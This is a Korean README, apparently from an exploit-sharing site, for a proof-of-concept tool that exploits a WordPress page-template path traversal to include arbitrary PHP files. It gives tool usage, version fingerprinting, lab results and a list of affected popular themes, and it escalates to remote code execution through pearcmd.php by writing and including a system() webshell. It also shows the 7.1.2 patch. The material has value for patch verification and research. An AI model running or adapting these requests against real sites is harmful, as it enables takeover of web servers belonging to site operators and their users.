페이로드. WP_Query는 이를 sanitize_title_for_query()를 통해 실행하는데, 이 함수는 리터럴 점을 대시로 재작성하지만 퍼센트 인코딩된 옥텟은 보존합니다. 그런 다음 get_page_template()이 urldecode()를 호출하여 결과를 경로로 디코딩합니다
page_id
임의의 발행된 페이지로, 쿼리가 404를 반환하는 대신 포스트와 일치하도록 합니다. 이것이 없으면 페이지 템플릿이 로드되지 않습니다
코어는 page-{urldecode($pagename)}.php를 생성하고 스타일시트 디렉터리에 대해 이를 해석합니다. 인코딩이 필요합니다: sanitize_title_for_query()는 리터럴 ..을 -로 재작성합니다.
전제 조건
#
조건
이유
1
활성 테마가 최상위 page-* 디렉터리를 포함
이름이 page-{payload}.php이므로 첫 번째 세그먼트가 디스크에서 해석되어야 함
2
프론트 페이지도 포스트 페이지도 아닌 발행된 페이지 하나
is_front_page와 is_home이 is_page보다 먼저 시도됨
3
대상 파일이 .php로 끝남
코어가 확장자를 추가함
업로드된 콘텐츠 없음, 사이트 구성, 테마 또는 코어에 대한 변경 없음.
영향을 받는 26개 테마 모두 디렉터리를 page-templates라고 부릅니다. poc.py는 themes.json에서 이름을 가져오고, 그 안에 없는 테마에 대해서는 page-templates를 가정하며, --root는 쉼표로 구분된 목록으로 재정의합니다.
Windows 호스트는 전제 조건 1을 무시합니다. Win32는 ..을 어휘적으로 취소하므로, 존재하지 않는 세그먼트도 뒤따르는 ..에 의해 취소됩니다.
경로
결과
C:\...\wordpress\page-nothing\..\README.md
존재함
C:\...\wordpress\page-nothing\README.md
존재하지 않음
Windows 11에서 os.stat으로 테스트했으며, 이는 PHP의 file_exists()와 동일한 Win32 경로 처리를 사용합니다. WordPress 자체는 Windows에서 실행되지 않았습니다.
사용법
확인, 기본값
테마와 두 버전을 식별한 다음 page-* 디렉터리가 존재하는지 묻습니다. 아무것도 포함되거나 실행되지 않습니다.
root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
1 GET / 200 WordPress 7.1.1, theme neve
2 GET /wp-content/themes/neve/style.css 200 neve 4.2.11
3 GET /wp-content/themes/neve/page-templates/ 403 refused, which on its own establishes nothing
4 GET /wp-content/themes/neve/page-e464e285/ 404 the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result neve ships page-templates, core 7.1.1
next rerun with --exploit to make the target prove it
page-<root>/에 대한 응답
해석
200
디렉터리가 존재하고 목록을 표시함
404
그러한 디렉터리 없음
403
불확정적이므로 page-<8 random hex>/에 대한 제어 요청 하나가 뒤따름
403 후 제어 404
거부가 존재 여부에 관한 것이었고, 디렉터리가 존재함
403 후 제어 거부됨
서버가 요청하는 모든 것을 거부함, 종료 코드 4
영향을 받으려면 둘 다 필요합니다: 디렉터리가 존재하고, 버전이 7.1.1 이하여야 합니다.
5 GET /?rest_route=/wp/v2/pages 200 1 published page
6 GET /?page_id=2&pagename=page-templates/../../ 200 1368 bytes, not the theme's page [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result wp-admin/install.php ran: WordPress › Installation
렌더링된 테마 템플릿은 항상 wp_head()를 통해 /wp-content/themes/를 참조하지만, 테마 외부에서 포함된 파일은 그렇지 않습니다. 이것이 판정 규칙입니다.
옵션
옵션
기본값
효과
--target URL
필수
테스트 대상 배포
--exploit
꺼짐
확인 후 파일 포함
--include PATH
wp-admin/install.php
포함할 .php. 상대 경로는 WordPress 루트에서 해석되고, 절대 경로는 --depth로 상승함
--depth N
7
절대 --include에 대한 ../ 홉 수
--root NAME[,NAME]
themes.json에서
시도할 page-* 디렉터리, page- 접두사 없이
--page-id ID
발견됨
페이지 발견 건너뛰기
--theme SLUG
발견됨
테마 조회 건너뛰기
--theme-version V
발견됨
테마 버전 조회 건너뛰기
--no-version
꺼짐
버전을 알아내는 것만을 목적으로 하는 요청을 하지 않음
--core-json PATH
core.json
릴리스 지문, 버전을 공개한 것이 없을 때만 읽음
--trace
꺼짐
모든 교환 출력
--json
꺼짐
JSON 객체 하나만, 그 외 없음
--yes
꺼짐
확인 건너뛰기
코드
확인
익스플로잇
0
영향 받음
테마 외부의 .php가 포함됨
1
영향 받지 않음
포함되지 않음
2
응답 없음, 또는 응답이 WordPress가 아님
동일
3
사용법, 또는 확인에서 거부됨
동일
4
불확정적, 403 및 7.1.x 사례 참조
사용되지 않음
기본 --include는 wp-admin/install.php입니다: 모든 WordPress에서 출력이 명확하고, 아무것도 변경하지 않습니다.
TLS 인증서는 검증되지 않습니다. 만료됨, 자체 서명됨, 호스트 이름 불일치 인증서가 허용됩니다.
버전 핑거프린팅
순서대로 시도하며, 응답하는 첫 번째에서 중지합니다.
소스
비용
7.1.1에서
홈 페이지의 generator 메타
무료
정확한 버전
/wp-includes/ 자산의 ?ver=
무료
정확한 버전
/?feed=rss2
1 요청
정확한 버전
/wp-links-opml.php
1 요청
정확한 버전
제공된 자산의 sha256을 core.json과 대조
1 요청
해당 바이트를 제공하는 릴리스 집합
core.json은 112개 발행된 릴리스와 7.1.2를 포함하며, 각각 4개 자산입니다. 이들을 교차하면 9개 릴리스를 정확히 식별하고 중앙값 4개의 후보를 남깁니다. 영향을 받으려면 모든 후보가 7.1.1 이하여야 합니다.
7.1.1과 7.1.2는 외부에서 구별할 수 없습니다. 다른 세 파일은 wp-admin/about.php, wp-includes/template.php, wp-includes/version.php이며, 어느 것도 제공되지 않습니다. 버전을 숨기는 7.1.x 사이트는 종료 코드 4를 받습니다.
테마
wordpress.org에서 가장 많이 설치된 200개 테마. 26개가 page-* 디렉터리를 포함하며 영향을 받고, 합쳐서 9,027,090개 활성 설치 중 765,500개입니다. 나머지 174개는 전제 조건 1에서 실패합니다.
테마
버전
설치 수
page-*
상태
확인됨
neve
4.2.11
200,000
page-templates
🔴 영향 받음
lab
sydney
2.71
80,000
page-templates
🔴 영향 받음
lab
hestia
3.3.6
70,000
page-templates
🔴 영향 받음
lab
inspiro
2.2.3
60,000
page-templates
🔴 영향 받음
survey
colibri-wp
1.0.169
50,000
page-templates
🔴 영향 받음
survey
twentyfourteen
4.6
50,000
page-templates
🔴 영향 받음
lab
twentytwelve
4.9
50,000
page-templates
🔴 영향 받음
lab
colormag
4.2.5
40,000
page-templates
🔴 영향 받음
lab
zakra
4.3.3
30,000
page-templates
🔴 영향 받음
survey
spacious
1.9.12
20,000
page-templates
lab은 poc.py로 스톡 이미지에 대해 처음부터 끝까지 테스트했음을 의미하고, survey는 테마 아카이브에서 디렉터리를 읽었으며 테마를 구동하지 않았음을 의미합니다.
테스트되어 영향 받지 않으며, 어느 것도 page-* 디렉터리를 포함하지 않음: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.
hestia, neve 등이 제공하는 front-page.php는 영향 여부를 바꾸지 않습니다. 요청에 대해 프론트 페이지의 ID만 배제합니다.
버전
릴리스
이미지 기본 테마
영향 받는 테마 사용 시
확인됨
7.1.2
🟢 영향 받지 않음, twentytwentyfive
🟢 영향 받지 않음, neve
lab
7.1.1
🟢 영향 받지 않음, twentytwentyfive
🔴 영향 받음, neve
lab
7.1.0
🟢 영향 받지 않음, twentytwentyfive
🔴 영향 받음, neve
lab
7.0.4
🟢 영향 받지 않음, twentytwentyfive
🔴 영향 받음, neve
lab
6.8.3
🟢 영향 받지 않음, twentytwentyfive
🔴 영향 받음, neve
lab
6.1.0
🟢 영향 받지 않음, twentytwentythree
🔴 영향 받음, twentytwelve
lab
4.9.8
🟢 영향 받지 않음, twentyseventeen
🔴 영향 받음, twentytwelve
lab
나머지 105개 릴리스
측정되지 않음
측정되지 않음
측정되지 않음
테마 버전
전제 조건이 아니며, page-* 디렉터리가 전제 조건입니다. neve 4.2.11은 6.8.3 이상에서, twentytwelve 4.9는 두 개의 더 오래된 코어에서 사용되었습니다
7.1.2
발행된 이미지 없음. lab/run.py --core 7.1.2로 테스트했으며, 이는 공식 릴리스 아카이브를 7.1.1-apache 위에 적용합니다
기본 상태
4.1 이후 어떤 릴리스도 영향을 받지 않습니다. twentyfifteen부터 twentytwentyfive까지는 page-* 디렉터리를 포함하지 않습니다. twentyfourteen과 twentytwelve는 포함하며, 3.8~4.0과 3.5의 기본값이었으나 해당 이미지는 발행되지 않았습니다
풀 수 없음
112개 발행된 태그 중 15개: 4.5.3-apache보다 오래된 14개는 containerd 2.1이 거부하는 v1 매니페스트를 사용하고, 4.5.3-apache는 레지스트리가 제공할 수 없는 레이어를 가집니다
릴리스별로 발행된 PHP 변형으로, 아래 에스컬레이션을 결정합니다:
WordPress 릴리스
-apache로 발행된 PHP 변형
4.1.x ~ 4.5.x
없음, 일반 태그만, 5.6
4.6.x ~ 5.0.x
5.67.07.17.27.3
5.1.x ~ 5.5.x
7.17.27.37.4
5.6.x ~ 6.0.x
7.27.37.48.08.1
6.1.x ~ 6.6.x
7.48.08.18.28.3
6.7.x
8.18.28.38.4
6.8.x 및 6.9.x
8.18.28.38.48.5
7.0.x 및 7.1.x
8.28.38.48.5
PHP와 에스컬레이션
파일 포함은 네 이미지 모두에서 성공하며 pearcmd.php가 각각에 존재합니다. 가젯을 통한 명령 실행은 register_argc_argv가 켜져 있어야 하며, php8.5 이미지는 이를 꺼둡니다.
이미지
PHP
register_argc_argv $_SERVER['argv']
pearcmd.php를 통한 RCE
확인됨
7.1.1-php8.2-apache
8.2.33
켜짐, 채워짐
🔴 uid=33(www-data)
lab
7.1.1-apache
8.3.33
켜짐, 채워짐
🔴 uid=33(www-data)
lab
7.1.1-php8.4-apache
8.4.25
켜짐, 채워짐
🔴 uid=33(www-data)
lab
7.1.1-php8.5-apache
8.5.10
꺼짐, null
🟢 도달하지 못함
lab
CLI가 아닌 apache2handler를 통해 읽으며, CLI는 설정을 강제로 켭니다. RCE 열 뒤의 두 요청:
root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
-> uid=33(www-data) gid=33(www-data) groups=33(www-data)
poc.py는 파일을 포함하며, 가젯을 구동하지 않습니다. --include /usr/local/lib/php/pearcmd.php --depth 7로 도달합니다. 8.5 이미지에서는 pearcmd.php 외의 다른 가젯은 찾지 않았습니다.
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+ global $wp_stylesheet_path, $wp_template_path;
+
+ // A file path that exists and does not contain `..` is allowed.
+ if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+ return true;
+ }
+
+ $real_path = realpath( $path );
+ if ( false === $real_path ) {
+ return false;
+ }
+ $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+ $directories = array(
+ $wp_stylesheet_path,
+ $wp_template_path,
+ ABSPATH . WPINC . '/theme-compat',
+ );
+ // ... plus the parent directory of a theme that lives in a subdirectory
+
+ foreach ( $directories as $directory ) {
+ $real_directory = realpath( $directory );
+ if ( false === $real_directory ) {
+ continue;
+ }
+ if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+ return true;
+ }
+ }
+ return false;
+ }
첫 번째는 취약한 분기를 수정하고, 두 번째는 그것을 생성한 것이 무엇이든 모든 해석된 템플릿 경로를 검사합니다. 테스트됨: 7.1.2에서 neve가 활성화되고 page-templates가 존재할 때, 동일한 요청이 설치 프로그램 대신 테마 자체의 페이지를 렌더링하며, 55,084 바이트입니다.
7.1.1 및 이전 버전에는 두 번째 경로가 존재합니다:
root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
차이점
WP_Query를 post_name 분기로 우회시키며, 이 분기는 pagename을 재작성하지 않으므로 리터럴 ..이 작동함
필요한 것
single.php가 없는 테마, 왜냐하면 is_single이 is_page보다 먼저 시도되기 때문
테스트 대상
7.1.1에서 bloghash 사용
여기 있는 이유
새니타이저만 강화하는 수정에서도 살아남음. 위의 포함 검사가 이것도 닫음
랩
root@kitploit:~
python3 lab/run.py # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions # rewrite lab/versions.txt from the registry
python3 lab/themes.py # rebuild themes.json
python3 lab/core.py --also 7.1.2 # rebuild core.json
root@kitploit:~
1/9 7.1.1-apache affected 0 included twentytwelve wp-admin/install.php ran
2/9 7.1.1-apache affected 0 included hestia wp-admin/install.php ran
3/9 7.1.1-apache affected 0 included neve wp-admin/install.php ran
4/9 7.1.1-apache affected 0 included colormag wp-admin/install.php ran
5/9 7.1.1-apache affected 0 included sydney wp-admin/install.php ran
6/9 7.1.1-apache unaffected 1 not included twentytwentyfive no page-* directory
7/9 7.1.1-apache affected 0 included bloghash wp-admin/install.php ran
8/9 7.1.1-apache unaffected 1 not included kadence no page-* directory
9/9 7.1.1-apache unaffected 1 not included astra no page-* directory
행별
이미지
공식 wordpress:<tag>, 수정되지 않음
격리
자체 컨테이너, 자체 포트, 공유 MariaDB의 자체 데이터베이스
설치
wp-admin/install.php를 통한 HTTP로, 따라서 어떤 버전도 일치하는 wp-cli가 필요하지 않음
상태
설치 프로그램이 남긴 그대로, 발행된 페이지 하나, 업로드된 것 없음
구동 방식
poc.py --exploit, 따라서 행은 겉모습이 아닌 포함을 측정함
옵션
기본값
효과
--jobs N
2
병렬 행
--theme SLUG[@VERSION]
없음
모든 행에 설치 및 활성화
--core VERSION
없음
해당 공식 릴리스를 이미지의 코어 위에 적용, 이미지가 없는 릴리스를 실행하는 방법
--keep
꺼짐
인스턴스를 그대로 두고, 관리자 비밀번호를 마지막에 출력
--prune
꺼짐
이 실행이 풀한 이미지 삭제
--port-base N
8110
첫 포트, 행당 하나, 127.0.0.1만
--db-image
mariadb:10.6
데이터베이스 이미지
--timeout N
180
컨테이너가 응답할 때까지의 초
--out PATH
lab/results.json
행별 세부 정보
종료 코드: 0 모든 행 측정됨, 1 적어도 하나가 측정되지 않음, 2 Docker 없음 또는 실행할 것 없음, 3 사용법 또는 거부됨. WordPress 이미지는 600 MB에서 1.1 GB이므로, --prune 없는 --all은 수십 GB입니다.
.github/workflows/lab.yml은 PoC 또는 랩에 대한 모든 변경 시 그리고 매주 네 개의 행을 실행합니다: 7.1.1과 6.8.3의 영향 받는 테마, 이미지 기본 테마, 그리고 php8.5 변형. 각각 예상 종료 코드를 검증합니다.
페이지 목록을 위한 대체 경로로서 /index.php?rest_route= 및 /wp-json/
예
발견이 세 가지 중 하나를 통해 성공함
get_page_template()이 해당 템플릿을 먼저 시도하므로 자체 페이지 템플릿이 없는 페이지를 선호
예, 순서 지정으로
하나를 가진 페이지를 강제해도 7.1.1에서 여전히 재현되었으므로, 최악의 경우 요청 하나를 소비함
파일
root@kitploit:~
poc.py the PoC, standalone, stdlib only
themes.json per-theme facts poc.py reads (generated)
core.json asset fingerprints per release (generated)
lab/run.py the lab
lab/themes.py rebuilds themes.json from the survey and the archive cache
lab/core.py rebuilds core.json from the official release archives
lab/survey.json 200 most-installed themes, their version and page-* directories
lab/targets.txt the pool lab/run.py stands up by default
lab/versions.txt 112 published releases (generated from the registry)
lab/results.json last run (ignored)
lab/.cache/ theme and release archives (ignored)
attic/ previous attempt, unwired, ignored